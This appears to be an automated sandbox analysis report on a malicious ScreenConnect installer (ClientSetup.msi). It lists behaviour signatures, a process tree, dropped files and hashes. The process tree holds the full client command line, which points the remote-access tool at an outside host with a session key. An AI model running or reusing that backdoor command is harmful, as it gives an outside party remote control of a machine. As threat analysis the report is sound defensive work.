Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    23/06/2026, 06:17

General

  • Target
    ClientSetup.msi
  • Size 13.6MB
  • Sample260623-g2e36sa151
  • SHA256 4d322ad62ca357eaea2a63016b5b54dc1dd7f82c72fd89bd7a958146d355cec1
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 13 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ClientSetup.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:4892
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1896
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 7ED72264DEF2A647416A0232CFC08842 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4396
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIFA5E.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240646906 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3536
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:4456
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 44E9E74E76AE612C583A9D506D913EEB
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4408
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding C485C8C483A6F10E241076A0CA99D7EC E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:1832
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:3688
    • C:\Program Files (x86)\ScreenConnect Client (eaeb69a490ac6e0e)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (eaeb69a490ac6e0e)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=cloud.suveyconcierging.com&p=8041&s=e5a996e9-b4ca-47f4-931e-6a629fae9bf7&k=BgIAAACkAABSU0ExAAgAAAEAAQDt%2bvvGTL5PtnzNI7TFlSi42DQ3Bsg9KndF6fkLGD5v4nwk5zby8o30ObFoNoJTIph84%2f8pYmj0BCxFc1SrlwwnaxuUMzRc0fjX1cvKsbFIPKsdcSEBKghIsTUNw06cSeF1OYhRJm%2baNbEkrhVABmwn2DqmkDIwaipky7wZBMsNjmjgH0cZKn%2f087FJlqIEomJmA60maSRb0yzqvyPw0Xb6pjl1rlHg5awQkJQvO8%2flYsOEXBSgMFacf6J4Y0guO9mcmcDe82sCMtF%2fGGWywpAM0yS6CLUgLxqgE48PKTC4CNliZq%2bUVe0z0vSyCOJrDcuC5V5A%2b3BbzAaCStgb%2bTbb"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2344
      • C:\Program Files (x86)\ScreenConnect Client (eaeb69a490ac6e0e)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (eaeb69a490ac6e0e)\ScreenConnect.WindowsClient.exe" "RunRole" "9df23560-cc7a-4b8c-9459-4a4721075b14" "User"
        2⤵
        • Executes dropped EXE
        PID:4804
      • C:\Program Files (x86)\ScreenConnect Client (eaeb69a490ac6e0e)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (eaeb69a490ac6e0e)\ScreenConnect.WindowsClient.exe" "RunRole" "d0ec652e-2444-468b-8d60-a43d9921d28f" "System"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:3888

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          e582fa7.rbs

          • Path C:\Config.Msi\e582fa7.rbs
          • Size 214KB
          • SHA256 633325a6fd0f1d6b3c8b01c3d640a1e3075d5c819688ad073e536dd496f922d0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (eaeb69a490ac6e0e)\Client.Override.en-US.resources
          • Size 766B
          • SHA256 3242c289ef2c4fc9d11b6a0a6c76380d163c745591e6b3d4ec625e62b736f436
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (eaeb69a490ac6e0e)\Client.Override.resources
          • Size 244KB
          • SHA256 2fcb321cbfa04c0a770979b7f9760af2b6675c01d740725e419c80971b27bb14
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (eaeb69a490ac6e0e)\Client.en-US.resources
          • Size 49KB
          • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (eaeb69a490ac6e0e)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (eaeb69a490ac6e0e)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 dd75f431bc27ae5cd60eabf0d705de194c72aa7c6897a7789981df620be5cc41
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (eaeb69a490ac6e0e)\ScreenConnect.ClientService.dll
          • Size 67KB
          • SHA256 228c0f9be331a5fbce6711f6c72d7660419d7746da604168d6f4ad9a492b00aa
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (eaeb69a490ac6e0e)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 8c7e1feb403442d3bc11a1945a9e0b3651a5095ca3acabe3f608da801dc8c2b7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (eaeb69a490ac6e0e)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (eaeb69a490ac6e0e)\ScreenConnect.WindowsClient.exe
          • Size 595KB
          • SHA256 da7697707b476046197af8d35c5a1df3cebd7153b7b48aab1079a6375bdca74a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (eaeb69a490ac6e0e)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (eaeb69a490ac6e0e)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (eaeb69a490ac6e0e)\app.config
          • Size 1KB
          • SHA256 805e6e9447a4838d874d84e6b2cdff93723641b06726d8ee58d51e8b651cd226
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (eaeb69a490ac6e0e)\system.config
          • Size 950B
          • SHA256 5a5d078e4bd9c00203d2f3c42e04452d2930b92228bea57ab6473f99bba65218
          • MD5 SHA1 SHA512 TLSH

          MSIFA5E.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSIFA5E.tmp
          • Size 1.0MB
          • SHA256 a5c116a5746888cdd47fae8269e5d5cc1fa51617744c50256619c75e540034e0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIFA5E.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIFA5E.tmp-\ScreenConnect.Core.dll
          • Size 539KB
          • SHA256 1e9eacd3c680b18f3bfee12a835a49d63fed76056aedb2b2ef312999eb6b4033
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIFA5E.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 af7b515d5ea17e6811f7fd4e0fe76b7bbc6c2ff4e58dc005c86fa30d44f184ca
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIFA5E.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 f6e77233f0995581f3171ee92c5cab5b8052d177d333a4999e16e696616739a6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI30B1.tmp

          • Path C:\Windows\Installer\MSI30B1.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e582fa6.msi

          • Path C:\Windows\Installer\e582fa6.msi
          • Size 13.6MB
          • SHA256 4d322ad62ca357eaea2a63016b5b54dc1dd7f82c72fd89bd7a958146d355cec1
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.1MB
          • SHA256 06e61271a49a8d4ee837f9cda37147caffcd00040156c9911f540d2a9845eb13
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {643bc01e-9814-40f7-9c68-0ce904e568e0}_OnDiskSnapshotProp

          • Path \??\Volume{cd0aa2ae-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{643bc01e-9814-40f7-9c68-0ce904e568e0}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 e2f8bbe830e1eaee5d989f0970c85fe39fc97b3a8839b3facd11a8ab5752bada
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/2344-93-0x00000000048C0000-0x00000000048F6000-memory.dmp

          memory/2344-78-0x0000000002190000-0x00000000021A8000-memory.dmp

          memory/2344-96-0x0000000004900000-0x0000000004941000-memory.dmp

          memory/2344-94-0x0000000004B60000-0x0000000004BF2000-memory.dmp

          memory/2344-98-0x0000000004D40000-0x0000000004E15000-memory.dmp

          memory/2344-89-0x0000000004870000-0x00000000048C0000-memory.dmp

          memory/3536-30-0x0000000005360000-0x000000000550C000-memory.dmp

          memory/3536-18-0x0000000002CB0000-0x0000000002CDE000-memory.dmp

          memory/3536-26-0x0000000005120000-0x00000000051AE000-memory.dmp

          memory/3536-31-0x0000000005AC0000-0x0000000006064000-memory.dmp

          memory/3536-22-0x0000000002D00000-0x0000000002D0A000-memory.dmp

          memory/4804-120-0x0000000000DF0000-0x0000000000E88000-memory.dmp

          memory/4804-121-0x0000000001780000-0x00000000017B6000-memory.dmp

          memory/4804-122-0x000000001BA00000-0x000000001BA8E000-memory.dmp

          memory/4804-123-0x000000001BF80000-0x000000001C12C000-memory.dmp

          memory/4804-124-0x000000001D370000-0x000000001D4F6000-memory.dmp

          memory/4804-125-0x0000000001730000-0x0000000001748000-memory.dmp

          memory/4804-126-0x0000000003070000-0x0000000003088000-memory.dmp